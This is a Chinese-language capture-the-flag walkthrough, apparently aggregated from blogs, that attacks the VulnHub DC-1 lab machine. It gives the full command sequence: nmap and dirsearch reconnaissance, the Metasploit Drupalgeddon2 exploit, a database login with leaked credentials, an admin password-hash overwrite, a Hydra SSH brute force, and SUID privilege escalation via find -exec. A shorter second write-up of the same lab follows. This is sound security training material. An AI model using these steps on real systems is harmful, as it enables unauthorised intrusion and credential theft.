DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

Posted 金 帛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-1靶场搭建及渗透实战详细过程(DC靶场系列)相关的知识,希望对你有一定的参考价值。

目录

一. 环境搭建

1. 准备工具

渗透利器kali

DC-1靶场机

2. 安装过程

二. 渗透过程

1. 信息收集

①探测目标IP地址

②探测目标IP开放端口 

③网页信息收集

2. 漏洞查找与利用

①漏洞查找

②漏洞利用

3. Getshell

①获取普通shell

②获取交互shell 

3. 数据库渗透

4. 用户密码爆破

5. Linux提权

三. 收获总结

1. 主机扫描

2. 域名信息收集

3. CMS漏洞找查及利用

4. Getshell

5. Linux特性及相关命令

6. 密码爆破与SSH

7. Linux系统的SUID提权


一. 环境搭建

1. 准备工具

渗透利器kali

可参考下面文章进行安装

Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版

DC-1靶场机

官网下载 https://download.vulnhub.com/dc/DC-1.zip

2. 安装过程

解压后得到个.ova文件

用vm虚拟机打开该文件

设置好相关操作

提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面

出现这个界面就表示开启成功 (渗透完得到密码就能登入啦),然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net,不懂桥接模式的小伙伴建议参考

“桥接”和“NAT”方式区别 - 知乎 (zhihu.com)

二. 渗透过程

这一过程需要用到kali,打开我们的渗透利器kali(root模式下)

1. 信息收集

①探测目标IP地址

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover

  • arp-scan
arp-scan -l

该命令是探测当前网段的所有ip地址

然后我们看一下DC靶机的Mac地址

确定了DC主机的IP地址为

192.168.120.128
  • nmap

先看一下kali的ip地址

ifconfig

 再用nmap

nmap -sP 192.168.120.0/24

ip后面改为了0/24, 在这里“192.168.120.0/24”表示的是这个网段的IP地址从从192.168.120.1开始,到192.168.120.254结束(192.168.120.0和192.168.120.255有特殊含义不能当做ip地址);子网掩码是255.255.255.0

一样扫出了ip

  • netdiscover
netdiscover

②探测目标IP开放端口 

用nmap来探测

nmap -sV -p- 192.168.120.128

-sV  扫描目标主机端口上运行的软件信息

-p-  扫描全部端口0-65535

20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看

③网页信息收集

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

当然也可以用kali自带的工具whatweb

黑客工具之whatweb详细使用教程 - 知乎 (zhihu.com)

whatweb -v 192.168.120.128

 也能扫出CMS,然后再用dirsearch工具扫一下目录 ,命令

dirsearch -u 192.168.120.128 -e *

还是扫出了挺多目录的,但是暂时用不到,先放一放 

得到如下信息

CMS是Drupal
Apache 2.2.22

php 5.4.45

jQuery 1.4.4 

2. 漏洞查找与利用

知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞 

果然有框架漏洞

①漏洞查找

用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具

msfconsole

然后输入命令

search Drupal

可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞

②漏洞利用

利用18年那个漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

 接着看一下该漏洞模块参数

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)

set RHOSTS 192.168.120.128

然后再show一下模块参数 

设置好参数后开始攻击

exploit

exploit和run是一样的,用run也可以

出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell

3. Getshell

①获取普通shell

shell

获取一下普通的shell 

然后执行ls命令

②获取交互shell 

这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python

python -c 'import pty; pty.spawn("/bin/bash")'

可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件

tac flag1.txt

查看一下flag1.txt文件

每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件

find / -name flag*

 好吧,就只有一个flag文件,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行

cat `find / -name settings.php`

这里我们找到了flag2(好像不重要的样子),还意外收获了一个数据库,给了账号密码,先登一下看看

3. 数据库渗透

由上面得到的账号密码登入

mysql -udbuser -pR0ck3t

登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥东西

show datebases;

 

接着使用改数据库,并查看表 

use drupaldb;show tables;

 

 注意到users这个表,看一下有啥,先改小一点字体,不然可能会挤爆不美观

select * from users;

得到两个用户 

 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin

参考:分享:忘记Drupal的管理员密码的解决办法 | Drupal China

法一:修改admin密码

我们得先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.sh

目录下,我们先退出mysql

exit;

打开加密脚本

cat /var/www/scripts/password-hash.sh

这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456 

php /var/www/scripts/password-hash.sh 123456

得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码

mysql -udbuser -pR0ck3t

use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

密码修改成功 

法二:添加admin权限用户 

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

searchsploit drupal

然后看一下那个脚本path

searchsploit 34992.py -p

 

可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入

 登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

Linux /etc/passwd内容解释(超详细)

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

Linux /etc/shadow(影子文件)内容解析(超详细)

接着我们查看一下用户信息

tac /etc/passwd

可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

4. 用户密码爆破

事先参考SSH

SSH简介及两种远程登录的方法_Jack LDZ的博客-CSDN博客_ssh

利用工具Hydra爆破flag4的密码

(总结)Linux下的暴力密码在线破解工具Hydra详解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.120.128

爆破出密码orange,然后我们用kali连接

ssh flag4@192.168.120.128

@192.168.120.128

@目标主机地址

输入orange登入

打开了flag4.txt,emmm其实好像也没啥

5. Linux提权

需要用到SUID提权,参考

简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

find比较常用,可以执行root权限的命令找查文件,

find / -name index.php -exec "/bin/sh" \\;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上

-exec "/bin/sh" \\;

#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)

可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦

cd /root

ls

cat *

 

拿到第五个flag啦! 

三. 收获总结

1. 主机扫描

  • nmap
nmap -sP 网段

Nmap命令详解

  • arp-scan
arp-scan -l

arp-scan命令及ARP含义解释

  • netdiscover
netdiscover

Netdiscover网络扫描工具

2. 域名信息收集

  • whatweb
whatweb -v 域名

 whatweb详细使用教程

  •  火绒扩展wappalyzer
  •  dirsearch
dirsearch -u 域名

目录扫描工具 dirsearch 中文手册

3. CMS漏洞找查及利用

  • Metasploit

先打开MSF控制台 

msfconsole

搜索CMS漏洞

search cms名

使用模块

use 漏洞模块名

显示模块参数(一般只需要设置攻击目标IP地址)

show options

设置模块参数

set 模块参数名 参数值

开始攻击

run(或exploit)

metasploit渗透测试入门

4. Getshell

使用MSF攻击等待主机与目标连接完成后

metasploit获取shell之后的进一步利用

通常情况下直接进入shell

shell

获取交互shell(需对方主机安装有python)

python -c 'import pty;pty.spawn("/bin/bash")'

5. Linux特性及相关命令

查看权限(root为最高权限,其他为普通用户)

whoami

文件特性passwd与shadow

/etc/passwd

存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问

Linux /etc/passwd内容解释(超详细)

/etc/shadow

存储有用户的密码等信息,需要root用户才能访问

Linux /etc/shadow(影子文件)内容解析(超详细)

6. 密码爆破与SSH

爆破工具Hydra

黑客工具之hydra详细使用教程 

以爆破SSH为例

hydra -l 指定用户名 -p 指定密码 ssh://目标主机
hydra -L 用户字典 -P 密码字典 ssh://目标主机

爆破完后我们可以用kali登入

ssh 用户名@目标攻击主机

SSH简介及两种远程登录的方法

7. Linux系统的SUID提权

简谈SUID提权

先找到含有SUID权限的二进制文件

find / -user root -perm -4000 -print 2>/dev/null

这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤

find / -perm -4000 2>/dev/null      拆分讲解

再选择相关命令进行提权,以find为例(用得最多)

先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权

find / -name x.ab -exec "/bin/sh" \\;

Vulnhub靶场渗透-DC-1

前言

挺久没做靶机了,实战被玩废了,好菜好菜好菜
来做做靶机找找成就感,哈哈哈

靶机IP(192.168.110.132)
攻击机IP(192.168.110.127)

直接开始了

信息收集

日常扫端口

访问80端口看看,是Drupal的框架,简单试了一下弱口令和创建新用户啥的

漏洞利用

就不浪费时间了,开源框架一般网上漏洞都很多
简单搜一下就发现有POC直接打的,正好MSF收了这个漏洞,那就好办多了

拿到了shell,并且在flag1里发现提示,提示看看网站的配置文件

顺着提示找到了mysql的连接文件,flag2提示获得权限的方法不只有暴力破解

连接mysql,找到users表里的admin密码,但被加密了,但是在网站的scripts目录下发现加密脚本


利用这个脚本直接修改admin的密码


回到网站登录试试,找到了flag3,提示说要用SUID来提权

是存在flag4用户的,也有flag4 ,但提示说了好像没说一样

SUID提权

查找可用于SUID提权的进程
find / -user root -perm -4000 -print 2>/dev/null

不知道怎么SUID提权的可以看我的这篇文章

--------------------SUID提权-----------------------------

利用find获得临时的root权限
到这里这个靶场也就玩的差不多了,也学到了一些东西

总结

还是靶场简单啊,什么都是设计好的,实战太难了

总结一句话,就是太菜了,还得多练练

以上是关于DC-1靶场搭建及渗透实战详细过程(DC靶场系列)的主要内容,如果未能解决你的问题,请参考以下文章

漏洞靶场实战-Vuluhub DC-1

漏洞靶场实战-Vuluhub DC-1

vulnhub DC1 靶场练习

记录渗透靶场实战网络安全

内网渗透之Msf-Socks代理实战(CFS三层靶场渗透过程及思路)

[红日靶场]ATT&CK实战系列——红队实战(—)